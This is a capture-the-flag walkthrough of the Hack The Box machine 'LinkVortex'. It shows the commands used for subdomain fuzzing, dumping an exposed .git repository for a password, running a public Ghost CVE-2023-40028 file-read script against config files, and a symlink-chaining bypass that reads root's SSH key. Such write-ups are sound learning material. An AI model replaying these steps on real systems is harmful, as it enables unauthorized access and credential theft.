linkVortex was an easy box from Hack The Box. after detailed enumeration of a hidden development webserver, I discover a .git directory that exposes back end code for the Ghost CMS. It was there credentials were harvested from the git artifacts for the CMS admin user. Using these creds, I was able to exploit the webserver using CVE-2023-40028 allowing me to read more CMS config files for SSH user credentials. The path to root relied on exploiting a no password sudo bash script by chaining symlink directories to hide key words from the scripts regex. Lets get started! As with every machine, I start with my tried and true nmap scan. `sudo nmap -sC -sV -p- --min-rate 10000 10.129.226.91 -oN nmap.out` ![[Hack The Box/linkVortex/nmap1.png]] Looks like I'm working with an Ubuntu Linux machine. I notice 2 open ports Port 22 | ssh OpenSSH 8.9p1 Port 80 | http Apache httpd I notice that there is a re-direct for port 80 and I add it to my /etc/hosts file. ![[Hack The Box/linkVortex/etcHosts1.png]] Now I re-run the nmap scan to see if anything changes. ![[Hack The Box/linkVortex/nmap2.png]] Looks like there is a robots.txt file with some entries, Robots.txt exists to hide certain directories from search engines, not guaranteed gold, but definitely of interest. Lets navigate to the webserver and check the home page. ![[linkVortexWebPage.png]] http://linkvortex[.]htb appears to be a blog from a group called BitByBit Hardware. Clicking through the posts shows little articles regarding different aspects of computer hardware. Here one on the power supply. ![[psuPost.png]] It appears as though all of these articles are written by "admin", I assume for now he is the only user. Looking at the very bottom, there is a line that says "Powered by Ghost" and "Sign up" ![[poweredByGhost.png]] Sign up does nothing, but Powered by Ghost takes you the CMS hosting site. ![[GhostSite.png]] From the website "Ghost is a powerful app for professional publishers to create, share, and grow a business around their content. It comes with modern tools to build a website, publish content, send newsletters & offer paid subscriptions to members." If I can find the version, I can look to see if there are any associated exploits. Ill navigate to the Robots.txt file to check those links ![[robots.png]] sitemap.xml shows the locations of posts on the web app. ![[sitemap.png]] /p, /r, and /email lead to 404s ![[404.png]] /ghost takes you too the web app login, ![[ghostLogin.png]] The only user I have is admin, I tried some simple canned passwords, but avail. I went ahead and opened Burp Suite to learn about how Ghost authenticates by capturing the request and sending it to the repeater. ![[BurpSuite.gif]] It looks like Ghost leaves the app version in the request header and response header. That's not sanitary. ![[ghostVersion.png]] Doing a quick google of Ghost 5.58 shows a very promising GitHub link from 4 days ago at the time of writing this article. ![[googleEntry.png]] In order for the exploit to work, we must be authenticated and I couldn't find any vulnerabilities relating to Sensitive Data Exposure. So I need to keep looking around. I decided to run a check on sub domains using ffuf. `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb` Wait for the spill, and check the size. ![[fuffSpill.png]] Ill re-run the command with the filter size flag -fs 230 `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb -fs 230` within the millisecond, I get a hit for a dev sub domain! ![[devSubdomain.png]] Ill go ahead and add this to my /etc/hosts file. ![[Hack The Box/linkVortex/etcHosts2.png]] Now Ill navigate to it via browser and see what we found, ![[devDomain.png]] It appears to be a placeholder webpage with nothing interactable. Ill go ahead and run it through feroxbuster to see if there are any hidden directories. `feroxbuster -u http://dev.linkvortex.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt ` ![[Hack The Box/linkVortex/feroxbuster.png]] Nice! there is a .git directory. I'm going to download the entire directory. `wget -r http://dev.linkvortex.htb/.git` ![[downloadGitDir.png]] Now that I have it locally, I can run git commands on it to gather information about the project. First Ill navigate to the directory that has the .git directory ![[gitDir.png]] Next, I will run a git checkout to restore all the tracked files to their last committed state followed by a git status ``` git checkout . git status ``` ![[gitstatus.png]] Awesome! we have some interesting information here. There is a staged commit here modifying a file that looks like it could potentially contain creds. We can use the powerful git tool to see what exactly was modified. `git diff --staged` ![[FoundCreds.png]] Yes! we have a password, and if you look at the top line in the image (/api/admin). It must go to the admin user for the Ghost web application. So lets try to log in as admin. ![[loggedInAsAdmin.png]] It works! Now that we are authenticated, we can potentially utilize the bash script from the github link [here](https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028/blob/master/CVE-2023-40028) Now, after some serious trial and error, I could not for the life of me get this script to work. Seeing that this script is an "Improved" version, I grabbed the original version from [here](https://github.com/0xyassine/CVE-2023-40028/blob/master/CVE-2023-40028.sh) `wget https://raw.githubusercontent.com/0xyassine/CVE-2023-40028/refs/heads/master/CVE-2023-40028.sh` ![[downloadCVE.png]] Now Ill vi into the script and add the domain. ![[ChangeToScript.png]] After I save it, Ill make it an executable `chmod +x CVE-2023-40028.sh` Then give it a run with the username and password `./CVE-2023-40028.sh -u [email protected] -p *****************` Assuming all is good in the world, it should drop into an interactive shell. ![[InteractiveShell.png]] Now according to the CVE, this isn't an RCE vulnerability is a file read vulnerability. We can only read files. I scratched by head for a second here because I wasn't sure what I could get that could really help me. I looked back at my notes and remembered that I found changes to a Dockerfile that had a bunch of paths that contained some interesting files that could potentially hold more credentials. ![[ConfigFile.png]] As a hacker, I'm interested in the word "config". So I'm going to use my CVE shell to view that path `file> /var/lib/ghost/config.production.json` ![[bobCreds.png]] Nice! I have some new creds. I'm going to make the assumption that these creds are for a user "bob" for ssh. ![[shellAsBob.png]] Always a good day when you get an ssh shell. Makes life a little easier. Grab the user.txt! ![[Hack The Box/linkVortex/userFlag.png]] Its time to look around for some vectors. I always immediately check sudo -l `sudo -l` ![[sudoLcommand.png]] Ok, we got something! bob can run sudo on a custom bash script that only accepts .png files. I'm going to cat this file and see if we can view the code and try to get an idea on how it works and how we can take advantage of it. `cat /opt/ghost/clean_symlink.sh` ![[symlinkScript.png]] looking at the script, Its actually very simple. Basically, the user presents a .png symlink. The script then checks if the symlink contains either etc or root. If it does, it yells at the user for trying to read critical files and deletes the link. If the symlink does not contain etc or root, the script moves the symlink to /var/quarantined and reads the contents if the $CHECK_CONTENT variable is true. So to exploit this, we most likely want to read the root id_rsa. We could try to read the shadow file, but the odds of breaking one of the hashes isn't a guarantee. Looking at the bottom of the script ``` if $CHECK_CONTENT;then /usr/bin/echo "Content:" /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null` ``` the files are read in the /var/quarantined directory, so we should create our symlink there. Lets test this script by trying to read a text file I placed in bobs home directory `echo 'symlinky' > /home/bob/linkyfile.txt` `ln -s /home/bob/linkyfile.txt /home/bob/symlink.png` `export CHECK_CONTENT=true` `sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/symlink.png` ![[scriptWorks.png]] Sweet, It works! but if I change the link to /root/.ssh/id_rsa `ln -s /root/.ssh/id_rsa /home/bob/idrsa.png` `sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/idrsa.png ![[scriptworking2.png]] Same story, different ending. lets look at the script. ``` LINK_NAME=$(/usr/bin/basename $LINK) LINK_TARGET=$(/usr/bin/readlink $LINK) if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK ``` Here is the flow of events. We have our symlink here. `lrwxrwxrwx 1 bob bob 17 Dec 18 00:52 idrsa.png -> /root/.ssh/id_rsa` First the script assigns a variable to LINK_NAME by running basename on the link. ``` bob@linkvortex:~$ basename idrsa.png idrsa.png ``` Next the script assigns a variable to LINK_TARGET by running readlink on the link. ``` bob@linkvortex:~$ readlink idrsa.png /root/.ssh/id_rsa ``` the script then takes the link target `/root/.ssh/id_rsa` and checks to see if it contains the word root or etc. In this case it contains the word `root` and uses unlink to remove the link and not reading the content. The FLAW, the script doesn't check to see if the link target isn't itself another symlink. So, if we set `/root/.ssh/id_rsa` to a symlink like hidden_path and then set hidden_path as a symlink to idrsa.png, the LINK_TARGET will read hidden_path and not /root/.ssh/id_rsa. Lets try that! We will set /root/.ssh/id_rsa to hidden_path ``` bob@linkvortex:/var/quarantined$ ln -s /root/.ssh/id_rsa hidden_path bob@linkvortex:/var/quarantined$ ls hidden_path bob@linkvortex:/var/quarantined$ ll total 8 drwxr-xr-x 2 bob bob 4096 Dec 18 01:06 ./ drwxr-xr-x 14 root root 4096 Nov 29 15:58 ../ lrwxrwxrwx 1 bob bob 17 Dec 18 01:06 hidden_path -> /root/.ssh/id_rsa ``` then we will set hidden_path to exploit.png ``` bob@linkvortex:/var/quarantined$ ln -s hidden_path /home/bob/exploit.png bob@linkvortex:/var/quarantined$ ll /home/bob/exploit.png lrwxrwxrwx 1 bob bob 11 Dec 18 01:08 /home/bob/exploit.png -> hidden_path ``` and now just give the script a run! `sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/exploit.png` ![[Hack The Box/linkVortex/idrsa.png]] Awesome! the symlink for exploit.png did not contain the words etc or root! it only contained hidden_path and thus bypassed the checks leading to the content of the roots id_rsa! To get a root login we just need to copy the contents to a file, change the permissions and log in via ssh. ``` vi id_rsa i Ctrl V :wq ``` ``` chmod 600 id_rsa ``` ``` ssh -i id_rsa [email protected] ``` ![[shellasRoot.png]] And grab the root flag! ``` root@linkvortex:~# cat /root/root.txt 704344f7a***************** ``` Thank you for taking the time to read this, I hope you enjoyed. I enjoyed linkvortex, it was a good learning experience, I had to brush up on my git enumeration and made a couple mistakes before moving forward and I hate admit that the rooting took me longer than it should have! Thanks for reading! Happy Hacking!